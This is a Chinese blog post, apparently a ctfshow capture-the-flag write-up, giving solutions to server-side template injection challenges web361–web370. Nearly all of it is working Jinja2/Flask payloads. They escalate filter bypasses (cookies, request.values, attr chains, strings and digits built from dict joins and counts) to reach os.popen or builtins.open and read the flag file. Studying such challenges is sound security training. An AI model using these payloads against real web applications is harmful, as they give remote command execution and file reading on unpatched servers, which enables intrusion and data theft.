码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 【Web】Ctfshow SSTI刷题记录1


    目录

    ①web361 362-无过滤

    ②web363-过滤单双引号

    ③web364-过滤单双引号和args

    ④web365-过滤中括号[]、单双引号、args

    ⑤web366-过滤单双引号、args、中括号[]、下划线

    ⑦web367-过滤单双引号、args、中括号[]、下划线、os

    ⑧web368-过滤单双引号、args、中括号[]、下划线、os、{{

    ⑨web369-过滤单双引号、args、中括号[]、下划线、os、{{、request

    ⑩web370-过滤单双引号、args、中括号[]、下划线、os、{{、request、数字


    ①web361 362-无过滤

    题目给到Hint,尝试传?name={{1-1}}测试出ssti注入点 

    掏出武器库秒了(上文有总结)

    ?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('tac /f*').read()")}}

    或者

    ?name={{url_for.__globals__.os.popen('tac /f*').read()}}

    ②web363-过滤单双引号

    ?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

    或者

    ?a=tac /f*&name={{url_for.__globals__.os.popen(request.args.a).read()}}

    ③web364-过滤单双引号和args

     ?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.values.a][request.values.b](request.values.c).read()}}

    或者

    ?a=tac /f*&name={{url_for.__globals__.os.popen(request.values.a).read()}}

    ④web365-过滤中括号[]、单双引号、args

    ?c=cat /flag&name={{url_for.__globals__.os.popen(request.values.c).read()}}

    ⑤web366-过滤单双引号、args、中括号[]、下划线

    ?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

    Cookie:a=__globals__;b=cat /flag

    ⑦web367-过滤单双引号、args、中括号[]、下划线、os

    ?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

    ⑧web368-过滤单双引号、args、中括号[]、下划线、os、{{

    使用{%%}绕过,再借助print()回显

    ?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}

    ⑨web369-过滤单双引号、args、中括号[]、下划线、os、{{、request

    ?name=
    {% set po=dict(po=a,p=a)|join%}
    {% set a=(()|select|string|list)|attr(po)(24)%}
    {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
    {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    {% set chr=x.chr%}
    {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
    {%print(x.open(file).read())%}

    ⑩web370-过滤单双引号、args、中括号[]、下划线、os、{{、request、数字

    ?name=
    {% set c=(dict(e=a)|join|count)%}
    {% set cc=(dict(ee=a)|join|count)%}
    {% set ccc=(dict(eee=a)|join|count)%}
    {% set cccc=(dict(eeee=a)|join|count)%}
    {% set ccccccc=(dict(eeeeeee=a)|join|count)%}
    {% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
    {% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
    {% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
    {% set coun=(cc~cccc)|int%}
    {% set po=dict(po=a,p=a)|join%}
    {% set a=(()|select|string|list)|attr(po)(coun)%}
    {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
    {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    {% set chr=x.chr%}
    {% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
    {%print(x.open(file).read())%}

  • 相关阅读:
    什么叫渗透测试爆破
    Windows 和 Linux 系统下,如何区分相同PID VID 的USB-HID设备
    6.6.编解码器信息的收集之二
    【数据结构】平衡二叉树(AVL树)的平衡调整方法
    mysql存储过程实现 定时删除指定表中指定时间点的数据
    工作记录---为什么双11当天不能申请退款?(有趣~)
    Run ORB_SLAM2 Under ROS/Example
    数据结构与算法_哈希表_线性探测法原理和代码实现
    TortoiseGit 入门指南13:拣选
    STM32使用PWM控制舵机
  • 原文地址:https://blog.csdn.net/uuzeray/article/details/134496429
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号